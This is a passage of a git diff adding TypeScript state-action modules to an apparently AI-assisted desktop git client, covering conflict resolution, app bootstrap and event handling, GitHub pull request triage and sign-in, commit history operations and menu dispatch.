`${low.length} of ${result.blocks.length} block${result.blocks.length === 1 ? '' : 's'} flagged low confidence: ${low[0].rationale}` : result.blocks.map((b) => b.rationale).filter(Boolean).slice(0, 2).join(' '), + action: { label: 'Undo', onClick: () => void undoResolutions([result]) }, + }, + 12000, + ); +} + +export async function undoResolutions(results: ConflictResolutionResult[]): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + for (const r of results) { + try { + await invoke('git.conflict.unresolve', repo.path, r.path, r.original); + } catch (err) { + showToast({ kind: 'error', title: `Could not undo ${r.path}`, message: errorMessage(err) }); + } + } + store.set((s) => { + const conflictResolutions = { ...s.conflictResolutions }; + const conflictSnapshots = { ...s.conflictSnapshots }; + const conflictBlockRanges = { ...s.conflictBlockRanges }; + for (const r of results) { + delete conflictResolutions[r.path]; + delete conflictSnapshots[r.path]; + delete conflictBlockRanges[r.path]; + } + return { conflictResolutions, conflictSnapshots, conflictBlockRanges, checkBanner: s.checkBanner && results.some((r) => r.path === s.checkBanner!.path) ? null : s.checkBanner }; + }); + await refreshStatus(); + await loadDiff(true); +} + +async function undoUseSide(repoPath: string, path: string, original: string): Promise { + try { + await invoke('git.conflict.unresolve', repoPath, path, original); + } catch (err) { + showToast({ kind: 'error', title: `Could not undo ${path}`, message: errorMessage(err) }); + } + await refreshStatus(); + await loadDiff(true); +} + +export async function useSide(path: string, side: 'ours' | 'theirs'): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const original = await invoke('repo.readFile', repo.path, path).catch(() => null); + try { + await invoke('git.conflict.useSide', repo.path, path, side); + await refreshStatus(); + await loadDiff(true); + showToast({ kind: 'success', title: `Took ${side} for ${path}`, action: original !== null ? { label: 'Undo', onClick: () => void undoUseSide(repo.path, path, original) } : undefined }); + } catch (err) { + showError('Could not resolve conflict', err); + } +} + +/** Per-block "Use ours/theirs/base" from the explain-why popover: rewrites just that block from the pre-resolution snapshot, keeping the AI text for the rest. */ +export async function useSideForBlock(path: string, blockId: number, side: 'ours' | 'theirs' | 'base'): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const resolution = store.get().conflictResolutions[path]; + const original = store.get().conflictOriginals[path]; + // conflictBlockRanges always covers every block, including one already manually overridden by an + // earlier useSideForBlock call; conflictResolutions[path].blocks alone would not (it drops a block + // once it stops being an AI suggestion), which would make a second per-block pick fail. + const ranges = store.get().conflictBlockRanges[path] ?? resolution?.blocks.map((b) => ({ id: b.id, ...b.range })); + if (!resolution || original === undefined || !ranges) { + showToast({ kind: 'error', title: 'Could not apply your choice', message: 'This block’s resolution data is no longer available; resolve the file again.' }); + return; + } + try { + const res = await invoke('ai.resolve.useSideForBlock', repo.path, path, original, ranges, blockId, side); + store.set((s) => { + const prev = s.conflictResolutions[path]; + if (!prev) return {}; + const blocks = prev.blocks + .filter((b) => b.id !== blockId) + .map((b) => { + const r = res.ranges.find((x) => x.id === b.id); + return r ? { ...b, range: { start: r.start, end: r.end } } : b; + }); + return { + conflictResolutions: { ...s.conflictResolutions, [path]: { ...prev, blocks } }, + conflictSnapshots: { ...s.conflictSnapshots, [path]: res.content }, + conflictBlockRanges: { ...s.conflictBlockRanges, [path]: res.ranges }, + }; + }); + closeDialog(); + await refreshStatus(); + await loadDiff(true); + } catch (err) { + showError('Could not apply your choice', err); + } +} + +export async function markResolved(paths: string[]): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + const stored = store.get().conflictOriginals; + const originals: Record = {}; + for (const p of paths) if (stored[p] !== undefined) originals[p] = stored[p]; + await invoke('git.conflict.markResolved', repo.path, paths, originals); + store.set((s) => { + const conflictOriginals = { ...s.conflictOriginals }; + for (const p of paths) delete conflictOriginals[p]; + return { conflictOriginals }; + }); + await refreshStatus(); + await loadDiff(true); + await refreshConflictExamples(repo.path); + } catch (err) { + showError('Could not mark as resolved', err); + } +} + +/** Writes an edited conflict file (manual per-block resolution in the diff view). `original` is the pre-edit conflicted content (with markers), when known, used to record a "Resolve remaining like …" worked example once the file is auto-staged. */ +export async function writeResolvedContent(path: string, content: string, stillHasConflicts: boolean, original?: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('repo.writeFile', repo.path, path, content); + if (!stillHasConflicts && store.get().settings?.ai.autoStageAfterResolve !== false) { + const originals: Record = original !== undefined ? { [path]: original } : {}; + await invoke('git.conflict.markResolved', repo.path, [path], originals); + store.set((s) => { + const conflictOriginals = { ...s.conflictOriginals }; + delete conflictOriginals[path]; + return { conflictOriginals }; + }); + await refreshConflictExamples(repo.path); + } + await refreshStatus(); + await loadDiff(true); + } catch (err) { + showError('Could not write file', err); + } +} diff --git a/src/renderer/src/state/actions/core.ts b/src/renderer/src/state/actions/core.ts new file mode 100644 index 0000000..f623920 --- /dev/null +++ b/src/renderer/src/state/actions/core.ts @@ -0,0 +1,258 @@ +import { errorInfo, invoke, on } from '../../api'; +import { openDialog, patchHistory, patchNlPalette, patchTriage, showToast, store } from '../store'; +import { handleReviewProgress } from '../review'; +import { handlePrecommitReviewProgress, refreshPrecommitStaleness } from '../precommitReview'; +import { handleRebaseProgress } from '../rebase'; +import { handleSplitProgress } from '../split'; +import { initInbox, loadInboxState } from '../inbox'; +import { handleProtocolReviewRerun } from '../agentHandoff'; +import { openFolderAsRepository, openRepository, refreshAll, refreshStatus } from './repo'; +import { refreshBranches, refreshStashes } from './conflicts'; +import { clearBlameCache, loadDiff, loadHistory, selectWorkingFile } from './view'; +import { checkoutBranch, fetchRemote } from './branches'; +import { loadCurrentPullRequest } from './github'; +import { handleMenuAction } from './menu'; +import { applyTheme, pruneStaleConflictTints } from './shared'; + +// --------------------------------------------------------------------------- +// Bootstrap & events +// --------------------------------------------------------------------------- + +let bootstrapped = false; + +export async function bootstrap(): Promise { + if (bootstrapped) return; + bootstrapped = true; + const settingsPromise = invoke('app.settings.get'); + const toolsPromise = invoke('app.tools', false); + const reposPromise = invoke('repos.list'); + const updateStatePromise = invoke('app.update.state'); + const toolsWithStore = toolsPromise.then((tools) => { store.set({ tools }); return tools; }); + const updateStateWithStore = updateStatePromise.then((updateState) => { store.set({ updateState }); return updateState; }); + const [settings, repos] = await Promise.all([settingsPromise, reposPromise]); + store.set({ settings, repos }); + applyTheme(settings, store.get().dark); + document.documentElement.style.setProperty('--diff-font-size', `${settings.diffFontSize}px`); + + on('settings.changed', (s) => { + store.set({ settings: s }); + applyTheme(s, store.get().dark); + document.documentElement.style.setProperty('--diff-font-size', `${s.diffFontSize}px`); + }); + on('theme.changed', ({ dark }) => { + store.set({ dark }); + applyTheme(store.get().settings, dark); + }); + on('tools.changed', (t) => { + const hadGit = store.get().tools?.git.installed ?? false; + const hadAccount = !!store.get().tools?.ghAccount; + store.set({ tools: t }); + if (t.git.installed && !hadGit && store.get().currentRepo && !store.get().status) { + void refreshAll().then(() => loadHistory(true)); + } + if (t.ghAccount && !hadAccount) void loadInboxState(); + }); + on('repos.changed', (list) => { + const current = store.get().currentRepo; + // `aiConfigOff` comes from the repository's config file via `repo.open`, not from the list, so carry it over. + const fresh = current ? list.find((r) => r.id === current.id) : undefined; + store.set({ repos: list, currentRepo: current ? (fresh ? { ...fresh, aiConfigOff: current.aiConfigOff } : current) : null }); + }); + on('progress', (p) => { + store.set((s) => { + const next = { ...s.progress }; + if (p.done) delete next[p.id]; + else next[p.id] = p; + return { progress: next }; + }); + }); + on('repo.changed', ({ repoPath, reason }) => { + const repo = store.get().currentRepo; + if (!repo || repo.path !== repoPath) return; + void handleRepoChanged(reason); + }); + on('menu.action', ({ action, args }) => { + if (action === 'protocol-open') void handleProtocolOpen(args as { url: string; branch: string | null; filepath: string | null }); + else if (action === 'open-path') void openFolderAsRepository(args as { path: string }); + else if (action === 'protocol-review-rerun') void handleProtocolReviewRerun(args as { repoPath: string; token: string | null }); + else void handleMenuAction(action, args); + }); + on('gh.auth.code', ({ code, url }) => store.set((s) => ({ login: { ...s.login, code, url } }))); + on('gh.auth.finished', ({ ok, error }) => { + store.set((s) => ({ login: { ...s.login, inProgress: false, error: ok ? null : error } })); + if (ok) { + showToast({ kind: 'success', title: 'Signed in to GitHub' }); + void refreshTools(); + } + }); + on('ai.progress', (e) => { + store.set((s) => ({ ai: { ...s.ai, [e.path]: e } })); + if (e.phase === 'done' || e.phase === 'error') { + setTimeout(() => store.set((s) => { + const next = { ...s.ai }; + if (next[e.path]?.phase === e.phase) delete next[e.path]; + return { ai: next }; + }), 4000); + } + }); + on('ai.review.progress', (e) => (store.get().precommitReview.running ? handlePrecommitReviewProgress(e) : handleReviewProgress(e))); + on('ai.nl.progress', (e) => { + if (store.get().currentRepo?.path !== e.repoPath || e.phase === 'awaiting-confirmation') return; + const phase = e.phase; + const stepId = e.stepId; + patchNlPalette((p) => ({ stepPhase: { ...p.stepPhase, [stepId]: phase } })); + }); + on('ai.split.progress', handleSplitProgress); + on('ai.rebase.progress', handleRebaseProgress); + on('ai.triage.progress', (e) => { + if (store.get().currentRepo?.path !== e.repoPath) return; + patchTriage({ progress: { done: e.done, total: e.total } }); + }); + on('app.update.changed', (state) => store.set({ updateState: state })); + on('window.focus', ({ focused }) => { + store.set({ focused }); + if (focused && store.get().currentRepo) void refreshStatus(); + }); + initInbox(); + + setInterval(() => void pollPullRequestNotifications(), 3 * 60_000); + + // A window opened from the repository list starts on that repository (`#repo=`), a blank one (`#repo=`) on none; the first window reopens the last used one. + const wanted = new URLSearchParams(location.hash.slice(1)).get('repo'); + const candidates = repos.filter((r) => !r.missing && (wanted === null || r.id === wanted)).sort((a, b) => b.lastOpened - a.lastOpened); + if (candidates.length) await openRepository(candidates[0]); + const [tools] = await Promise.all([toolsWithStore, updateStateWithStore]); + + if (tools.ghAccount) void loadInboxState(); + void invoke('app.tools', true).then((t) => store.set({ tools: t })); +} + +/** Handles "Open with GitHub Desktop"-style links: open the repo if known, otherwise offer to clone it. */ +async function handleProtocolOpen(target: { url: string; branch: string | null; filepath: string | null }): Promise { + const normalized = target.url.replace(/\.git$/i, '').toLowerCase(); + const repos = store.get().repos; + const match = repos.find((r) => r.github && r.github.url.toLowerCase() === normalized && !r.missing); + if (!match) { + openDialog({ kind: 'clone', url: target.url }); + return; + } + await openRepository(match); + if (target.branch) { + const branch = store.get().branches.find((b) => b.kind === 'local' && b.name === target.branch) ?? store.get().branches.find((b) => b.kind === 'remote' && b.name === `origin/${target.branch}`); + if (branch && !branch.isCurrent) await checkoutBranch(branch); + else if (!branch) showToast({ kind: 'info', title: `Branch ${target.branch} not found`, message: 'Fetch to see new branches from GitHub.', action: { label: 'Fetch', onClick: () => void fetchRemote() } }); + } + if (target.filepath) { + const file = store.get().status?.files.find((f) => f.path === target.filepath); + if (file) selectWorkingFile(file.path); + } +} + +async function pollPullRequestNotifications(): Promise { + const s = store.get(); + if (!s.currentRepo?.github || !s.tools?.ghAccount || !s.settings) return; + const before = s.prs.current; + await loadCurrentPullRequest(true); + const after = store.get().prs.current; + if (!before || !after || before.number !== after.number) return; + if (s.settings.notifyPullRequestChecks && before.checks.state !== 'failure' && after.checks.state === 'failure') { + void invoke('app.notify', `Checks failed on pull request #${after.number}`, after.title); + showToast({ kind: 'error', title: `Checks failed on #${after.number}`, message: after.title, action: { label: 'View', onClick: () => openDialog({ kind: 'pr-details', pr: after }) } }, 15000); + } + if (s.settings.notifyPullRequestReviews && before.reviewDecision !== after.reviewDecision && after.reviewDecision) { + const label = after.reviewDecision.toLowerCase().replace(/_/g, ' '); + void invoke('app.notify', `Pull request #${after.number}: ${label}`, after.title); + showToast({ kind: after.reviewDecision === 'APPROVED' ? 'success' : 'info', title: `Pull request #${after.number} ${label}`, message: after.title, action: { label: 'View', onClick: () => openDialog({ kind: 'pr-details', pr: after }) } }, 15000); + } +} + +export async function refreshTools(): Promise { + const tools = await invoke('app.tools', true); + store.set({ tools }); +} + +/** Called after saving signing config from Options → Git, so the commit form's signing indicator re-fetches immediately without needing a repo switch. */ +export function bumpSigningConfigVersion(): void { + store.set((s) => ({ signingConfigVersion: s.signingConfigVersion + 1 })); +} + +/** Called after a settings-sync action completes, so any mounted sync card re-fetches status — needed because enable/download/disconnect run behind a confirm dialog, which remounts the card mid-action (see SettingsSyncCard). */ +export function bumpSettingsSyncVersion(): void { + store.set((s) => ({ settingsSyncVersion: s.settingsSyncVersion + 1 })); +} + +/** The main process already coalesces watcher bursts (watcher.ts DEBOUNCE_MS); a second debounce here only added latency. Status refreshes dedupe via statusInFlight. */ +async function handleRepoChanged(reason: 'worktree' | 'refs' | 'both'): Promise { + clearBlameCache(); + await refreshStatus(); + if (reason !== 'worktree') { + await Promise.all([refreshBranches(), refreshStashes()]); + if (store.get().view === 'history') await loadHistory(true); + else patchHistory({ stale: true }); + } + await loadDiff(true); + if (store.get().precommitReview.run) void refreshPrecommitStaleness(); + const repo = store.get().currentRepo; + if (repo && reason !== 'refs') void pruneStaleConflictTints(repo.path); +} + +// --------------------------------------------------------------------------- +// Errors & operations +// --------------------------------------------------------------------------- + +export function showError(title: string, err: unknown, retry?: () => void): void { + const info = errorInfo(err); + if (info.code === 'cancelled') return; + if (info.code === 'gh-not-authenticated') { + openDialog({ kind: 'sign-in' }); + return; + } + if (info.code === 'ai-not-configured') { + showToast({ kind: 'warning', title: 'AI is not configured', message: info.message, action: { label: 'Open AI settings', onClick: () => openDialog({ kind: 'settings', tab: 'ai' }) } }, 10000); + return; + } + if (info.code === 'stash-missing') { + showToast({ kind: 'warning', title: 'Stash no longer exists', message: 'The stash list has been refreshed.' }); + void refreshStashes(); + return; + } + openDialog({ kind: 'error', title, error: info, retry }); +} + +/** Runs a long git operation, surfacing it in the toolbar and reporting errors. */ +export async function runOperation(label: string, fn: () => Promise, opts: { silent?: boolean; refresh?: boolean } = {}): Promise { + store.set({ operation: label }); + try { + const result = await fn(); + return result; + } catch (err) { + if (!opts.silent) { + const info = errorInfo(err); + if ((info.code === 'signing-failed' || info.code === 'signing-key-missing') && await leavesRebaseInProgress()) { + const repo = store.get().currentRepo; + if (repo) { + openDialog({ + kind: 'signing-failed', + error: info, + onRetry: () => void runOperation(label, () => invoke('git.rebase.continue', repo.path)), + onUnsigned: () => void runOperation(label, () => invoke('git.rebase.continue', repo.path, true)), + }); + } else { + showError(`${label} failed`, err); + } + } else { + showError(`${label} failed`, err); + } + } + return undefined; + } finally { + store.set({ operation: null }); + if (opts.refresh !== false) void refreshAll(); + } +} + +/** Squash/reword/drop/reorder/rebase all rewrite history via `git rebase [-i]`; when one of them fails to sign a commit, git pauses mid-rebase (like a conflict) rather than aborting (see runInteractiveRebase). Re-checks status so the signing-failed dialog is only offered while that pause is real. */ +async function leavesRebaseInProgress(): Promise { + await refreshStatus(); + return store.get().status?.operation.kind === 'rebase'; +} diff --git a/src/renderer/src/state/actions/github.ts b/src/renderer/src/state/actions/github.ts new file mode 100644 index 0000000..94abadc --- /dev/null +++ b/src/renderer/src/state/actions/github.ts @@ -0,0 +1,261 @@ +import type { PrTriage, PullRequest, TriageState } from '@shared/types'; +import { aiEnabled } from '@shared/ai-model'; +import { issueBranchSlug } from '@shared/util'; +import { errorInfo, errorMessage, invoke } from '../../api'; +import { closeAllDialogs, closeDialog, openDialog, patchChanges, patchTriage, showToast, store } from '../store'; +import { refreshTools, showError } from './core'; +import { refreshAll } from './repo'; +import { loadHistory } from './view'; +import { pushWithErrorHandling } from './branches'; +import { withUncommittedChanges } from './shared'; + +// --------------------------------------------------------------------------- +// Pull requests & GitHub +// --------------------------------------------------------------------------- + +export async function loadPullRequests(force = false): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo?.github) return; + if (!force && Date.now() - s.prs.loadedAt < 60_000 && s.prs.list.length) return; + if (s.prs.loading) return; + store.set((st) => ({ prs: { ...st.prs, loading: true, error: null } })); + try { + const list = await invoke('gh.pr.list', repo.path, 'open'); + if (store.get().currentRepo?.path !== repo.path) return; + store.set((st) => ({ prs: { ...st.prs, list, loading: false, loadedAt: Date.now() } })); + await loadTriageCache(); + const settings = store.get().settings; + if (aiEnabled(settings, store.get().currentRepo) && settings?.ai.triageAutoRefresh) void summarizePullRequests(); + } catch (err) { + const info = errorInfo(err); + store.set((st) => ({ prs: { ...st.prs, loading: false, error: info.message } })); + } +} + +// --------------------------------------------------------------------------- +// AI pull request triage (add-ai-pr-triage) +// --------------------------------------------------------------------------- + +/** True when the signed-in user was explicitly asked to review, independent of any cached AI triage line (so the "waiting on you" count is accurate before Summarize has ever run). */ +export function isExplicitlyWaitingOnYou(pr: PullRequest, login: string | null): boolean { + return !!login && pr.reviewRequests.some((r) => r.toLowerCase() === login.toLowerCase()); +} + +/** True when a cached triage line still matches the pull request's current updatedAt. */ +export function isTriageFresh(entry: PrTriage | undefined, pr: PullRequest): boolean { + return !!entry && entry.updatedAt === pr.updatedAt; +} + +/** Open pull request numbers with no fresh cached triage line (what "Summarize N pull requests" counts and requests). */ +export function pendingTriageNumbers(prs: PullRequest[], cache: Record): number[] { + return prs.filter((pr) => pr.state === 'OPEN' && !isTriageFresh(cache[pr.number], pr)).map((pr) => pr.number); +} + +/** The triage state to show for a pull request: the fresh cached line's state, or, failing that, "waiting-on-you" when the signed-in user was explicitly asked to review (a deterministic fact that needs no AI call). Null when neither applies. */ +export function effectiveTriageState(pr: PullRequest, cache: Record, login: string | null): TriageState | null { + const entry = cache[pr.number]; + if (isTriageFresh(entry, pr)) return entry!.state; + return isExplicitlyWaitingOnYou(pr, login) ? 'waiting-on-you' : null; +} + +/** Pull requests currently classified as waiting on the signed-in user, combining fresh cached lines with the deterministic review-request check. */ +export function waitingOnYouPrs(prs: PullRequest[], cache: Record, login: string | null): PullRequest[] { + return prs.filter((pr) => effectiveTriageState(pr, cache, login) === 'waiting-on-you'); +} + +export async function loadTriageCache(): Promise { + const repo = store.get().currentRepo; + if (!repo?.github) return; + try { + const cache = await invoke('ai.triage.get', repo.path); + if (store.get().currentRepo?.path !== repo.path) return; + patchTriage({ byNumber: cache, loadedAt: Date.now() }); + } catch { + /* best effort: an empty cache just means every pull request needs summarizing */ + } +} + +/** Requests triage lines for every open pull request lacking a fresh cache entry, batched and cancellable via ai.cancel (see ai.triage.progress). */ +export async function summarizePullRequests(): Promise { + const s = store.get(); + const repo = s.currentRepo; + if (!repo?.github || s.triage.loading) return; + const numbers = pendingTriageNumbers(s.prs.list, s.triage.byNumber); + if (!numbers.length) return; + patchTriage({ loading: true, progress: { done: 0, total: numbers.length } }); + try { + const result = await invoke('ai.triage.run', repo.path, numbers); + if (store.get().currentRepo?.path === repo.path) patchTriage({ byNumber: result, loading: false, progress: null, loadedAt: Date.now() }); + else patchTriage({ loading: false, progress: null }); + } catch (err) { + patchTriage({ loading: false, progress: null }); + showError('Could not summarize pull requests', err); + } +} + +export function cancelTriage(): void { + void invoke('ai.cancel', 'triage'); +} + +export async function loadCurrentPullRequest(force = false): Promise { + const s = store.get(); + const repo = s.currentRepo; + const branch = s.status?.branch.name ?? null; + if (!repo?.github || !branch) { + store.set((st) => ({ prs: { ...st.prs, current: null } })); + return; + } + if (!force && s.prs.current && s.prs.current.headRefName === branch) return; + try { + const pr = await invoke('gh.pr.forBranch', repo.path, branch); + if (store.get().currentRepo?.path === repo.path && store.get().status?.branch.name === branch) store.set((st) => ({ prs: { ...st.prs, current: pr } })); + } catch { + /* not signed in or offline */ + } +} + +export async function checkoutPullRequest(pr: PullRequest): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + await withUncommittedChanges(`#${pr.number}`, async (strategy) => { + closeAllDialogs(); + store.set({ operation: `Checking out #${pr.number}`, popover: null }); + try { + if (strategy === 'stash') await invoke('git.stash.push', repo.path, 'Stashed before switching branches', true, null); + await invoke('gh.pr.checkout', repo.path, pr.number); + await refreshAll(); + await loadHistory(true); + store.set((st) => ({ prs: { ...st.prs, current: pr } })); + } catch (err) { + showError(`Could not check out pull request #${pr.number}`, err); + } finally { + store.set({ operation: null }); + } + }); +} + +export async function openExternal(url: string): Promise { + try { + await invoke('app.openExternal', url); + } catch (err) { + showToast({ kind: 'error', title: 'Could not open link', message: errorMessage(err) }); + } +} + +export function viewOnGitHub(): void { + const repo = store.get().currentRepo; + if (repo?.github) void openExternal(repo.github.url); + else showToast({ kind: 'info', title: 'This repository has no GitHub remote' }); +} + +export function compareOnGitHub(): void { + const s = store.get(); + const repo = s.currentRepo; + const branch = s.status?.branch.name; + if (!repo?.github || !branch) return; + const base = s.defaultBranch ?? 'main'; + void openExternal(`${repo.github.url}/compare/${encodeURIComponent(base)}...${encodeURIComponent(branch)}?expand=1`); +} + +export function openPullRequestFlow(autoDraft = false): void { + const s = store.get(); + const repo = s.currentRepo; + if (!repo) return; + if (!repo.github) { + openDialog({ kind: 'publish' }); + return; + } + if (s.prs.current && s.prs.current.state === 'OPEN') { + void openExternal(s.prs.current.url); + return; + } + if (!s.status?.branch.upstream || s.status.branch.ahead > 0) { + showToast({ kind: 'info', title: 'Publish your branch first', message: 'The branch has commits that are not on GitHub yet.', action: { label: 'Push', onClick: () => void pushWithErrorHandling() } }); + return; + } + openDialog({ kind: 'create-pr', autoDraft }); +} + +/** Opens the Create pull request dialog and starts drafting its title and body with AI (the Branch menu's "Draft Pull Request with AI…" entry). */ +export function draftPullRequest(): void { + openPullRequestFlow(true); +} + +// --------------------------------------------------------------------------- +// Release notes +// --------------------------------------------------------------------------- + +/** Opens the Release notes dialog, from the Repository menu (no `fromTag`) or a tag's History context menu ("notes since this tag"). Exposed on window.__gitgood.actions for smoke tests. */ +export function openReleaseNotes(fromTag?: string): void { + const repo = store.get().currentRepo; + if (!repo) return; + openDialog({ kind: 'release-notes', fromTag: fromTag ?? null }); +} + +// --------------------------------------------------------------------------- +// Issues +// --------------------------------------------------------------------------- + +export function openIssuesDialog(number?: number): void { + const repo = store.get().currentRepo; + if (!repo) return; + if (!repo.github) { + showToast({ kind: 'info', title: 'This repository has no GitHub remote' }); + return; + } + openDialog({ kind: 'issues', number }); +} + +/** Appends text to the commit description, on its own line, without replacing anything already there. */ +export function appendDescription(text: string): void { + patchChanges((c) => ({ description: c.description.trim() ? `${c.description.replace(/\s+$/, '')}\n${text}` : text })); +} + +/** "Create branch for issue": closes whatever dialog is open and opens a fresh New Branch dialog pre-filled with the issue's slug. */ +export function createBranchForIssue(number: number, title: string): void { + closeAllDialogs(); + openDialog({ kind: 'new-branch', initialName: issueBranchSlug(number, title) }); +} + +// --------------------------------------------------------------------------- +// Sign in +// --------------------------------------------------------------------------- + +export async function signIn(host = 'github.com'): Promise { + store.set({ login: { inProgress: true, code: null, url: null, error: null } }); + try { + const result = await invoke('gh.auth.login', host); + store.set((s) => ({ login: { ...s.login, inProgress: false, error: result.ok ? null : result.error } })); + if (result.ok) { + await refreshTools(); + closeDialog(); + } + } catch (err) { + store.set((s) => ({ login: { ...s.login, inProgress: false, error: errorMessage(err) } })); + } +} + +export async function cancelSignIn(): Promise { + await invoke('gh.auth.cancelLogin'); + store.set({ login: { inProgress: false, code: null, url: null, error: null } }); +} + +export async function signOut(host: string, login?: string): Promise { + try { + await invoke('gh.auth.logout', host, login); + await refreshTools(); + } catch (err) { + showError('Sign out failed', err); + } +} + +/** Makes `login` the account GitHub calls use by default on `host`; repositories with their own account are unaffected. */ +export async function switchAccount(host: string, login: string): Promise { + try { + await invoke('gh.auth.switch', host, login); + await refreshTools(); + } catch (err) { + showError('Could not switch account', err); + } +} diff --git a/src/renderer/src/state/actions/history.ts b/src/renderer/src/state/actions/history.ts new file mode 100644 index 0000000..d95ac0e --- /dev/null +++ b/src/renderer/src/state/actions/history.ts @@ -0,0 +1,135 @@ +import type { Branch } from '@shared/types'; +import { invoke } from '../../api'; +import { closeAllDialogs, closeDialog, openDialog, patchHistory, showToast, store } from '../store'; +import { runOperation, showError } from './core'; +import { refreshAll } from './repo'; +import { loadTags } from './conflicts'; +import { loadHistory } from './view'; +import { reportOutcome, withUncommittedChanges } from './shared'; + +// --------------------------------------------------------------------------- +// History operations +// --------------------------------------------------------------------------- + +export async function revertCommit(sha: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Revert', () => invoke('git.revert', repo.path, sha)); + reportOutcome(outcome, 'Revert'); + if (outcome?.status === 'complete') await loadHistory(true); +} + +export async function cherryPickTo(shas: string[], branch: Branch): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + if (!branch.isCurrent) { + let switched = false; + await withUncommittedChanges(branch.name, async (strategy) => { + try { + if (branch.kind === 'remote') await invoke('git.checkoutRemoteBranch', repo.path, branch.name, strategy); + else await invoke('git.checkout', repo.path, branch.name, strategy); + switched = true; + } catch (err) { + showError(`Could not switch to ${branch.name}`, err); + } + }); + if (!switched) return; + } + // cherry-pick expects oldest first + const ordered = [...shas].reverse(); + const outcome = await runOperation('Cherry-pick', () => invoke('git.cherryPick', repo.path, ordered)); + reportOutcome(outcome, 'Cherry-pick'); + await loadHistory(true); +} + +export async function squashCommits(shas: string[], targetSha: string, message: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + const outcome = await runOperation('Squash', () => invoke('git.squash', repo.path, { shas, targetSha, message })); + reportOutcome(outcome, 'Squash'); + patchHistory({ selectedShas: [] }); + await loadHistory(true); +} + +export async function reorderCommits(shas: string[], beforeSha: string | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Reorder', () => invoke('git.reorder', repo.path, shas, beforeSha)); + reportOutcome(outcome, 'Reorder'); + await loadHistory(true); +} + +export async function rewordCommit(sha: string, message: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + closeAllDialogs(); + const outcome = await runOperation('Edit message', () => invoke('git.reword', repo.path, sha, message)); + reportOutcome(outcome, 'Edit message'); + await loadHistory(true); +} + +export async function dropCommit(sha: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const outcome = await runOperation('Drop commit', () => invoke('git.dropCommit', repo.path, sha)); + reportOutcome(outcome, 'Drop'); + patchHistory({ selectedShas: [] }); + await loadHistory(true); +} + +export async function createTag(name: string, sha: string, message: string | null): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + try { + await invoke('git.tag.create', repo.path, name, sha, message); + closeDialog(); + showToast({ kind: 'success', title: `Created tag ${name}`, action: { label: 'Push tag', onClick: () => void runOperation('Push tag', () => invoke('git.tag.push', repo.path, name)) } }); + await loadHistory(true); + } catch (err) { + showError('Could not create tag', err); + } +} + +export async function deleteTag(name: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + openDialog({ + kind: 'confirm', + title: `Delete tag ${name}?`, + message: 'The tag will be deleted locally and, if it was pushed, on origin.', + confirmLabel: 'Delete', + danger: true, + onConfirm: async () => { + try { + await invoke('git.tag.delete', repo.path, name, true); + await loadHistory(true); + await loadTags(); + } catch (err) { + showError('Could not delete tag', err); + } + }, + }); +} + +export async function checkoutCommit(sha: string): Promise { + const repo = store.get().currentRepo; + if (!repo) return; + const perform = async () => { + await withUncommittedChanges(sha.slice(0, 7), async (strategy) => { + closeAllDialogs(); + try { + if (strategy === 'stash') await invoke('git.stash.push', repo.path, 'Stashed before checking out commit', true, null); + await invoke('git.checkoutCommit', repo.path, sha); + await refreshAll(); + await loadHistory(true); + } catch (err) { + showError('Could not check out commit', err); + } + }); + }; + if (store.get().settings?.confirmCheckoutCommit !== false) { + openDialog({ kind: 'confirm', title: 'Check out commit?', message: `Checking out ${sha.slice(0, 7)} detaches HEAD from the current branch. Create a branch afterwards to keep any new commits.`, confirmLabel: 'Check out', onConfirm: perform }); + } else await perform(); +} diff --git a/src/renderer/src/state/actions/index.ts b/src/renderer/src/state/actions/index.ts new file mode 100644 index 0000000..ffac4d7 --- /dev/null +++ b/src/renderer/src/state/actions/index.ts @@ -0,0 +1,21 @@ +export * from './core'; +export * from './repo'; +export * from './conflicts'; +export * from './view'; +export * from './commit'; +export * from './branches'; +export * from './stash'; +export * from './history'; +export * from './github'; +export * from './app'; +export * from './menu'; +export * from './ai'; +export * from '../review'; +export * from '../precommitReview'; +export * from '../split'; +export * from '../rebase'; +export * from '../inbox'; +export * from '../nlPalette'; +export * from '../agentHandoff'; +export { closeAllDialogs, closeDialog, openDialog, showToast } from '../store'; +export type { Commit } from '@shared/types'; diff --git a/src/renderer/src/state/actions/menu.ts b/src/renderer/src/state/actions/menu.ts new file mode 100644 index 0000000..e2afd72 --- /dev/null +++ b/src/renderer/src/state/actions/menu.ts @@ -0,0 +1,211 @@ +import { invoke } from '../../api'; +import { openDialog, showToast, store } from '../store'; +import { reviewBranch, reviewCurrentPullRequest } from '../review'; +import { tidyBranch } from '../rebase'; +import { openSplitDialog } from '../split'; +import { openInboxItemById, toggleInboxPanel } from '../inbox'; +import { openCommandPalette } from '../nlPalette'; +import { undoLastOperation } from '../reflog'; +import { scanWatchedFolders } from './repo'; +import { searchHistoryForSelection, setView, toggleBlame } from './view'; +import { fetchRemote, pull, pushWithErrorHandling, updateFromDefaultBranch } from './branches'; +import { requestDiscard, stashAll } from './stash'; +import { compareOnGitHub, draftPullRequest, openExternal, openIssuesDialog, openPullRequestFlow, openReleaseNotes, viewOnGitHub } from './github'; +import { checkForUpdates, openHealth, openInEditor, openInShell, showInFolder, updateSettings } from './app'; + +// --------------------------------------------------------------------------- +// Menu +// --------------------------------------------------------------------------- + +export async function handleMenuAction(action: string, args?: unknown): Promise { + const s = store.get(); + const repo = s.currentRepo; + const needsRepo = () => { + if (!repo) showToast({ kind: 'info', title: 'Open a repository first' }); + return !!repo; + }; + switch (action) { + case 'new-repository': + return openDialog({ kind: 'new-repo' }); + case 'add-local-repository': + return openDialog({ kind: 'add-repo' }); + case 'clone-repository': + return openDialog({ kind: 'clone' }); + case 'settings': + return openDialog({ kind: 'settings' }); + case 'command-palette': + return 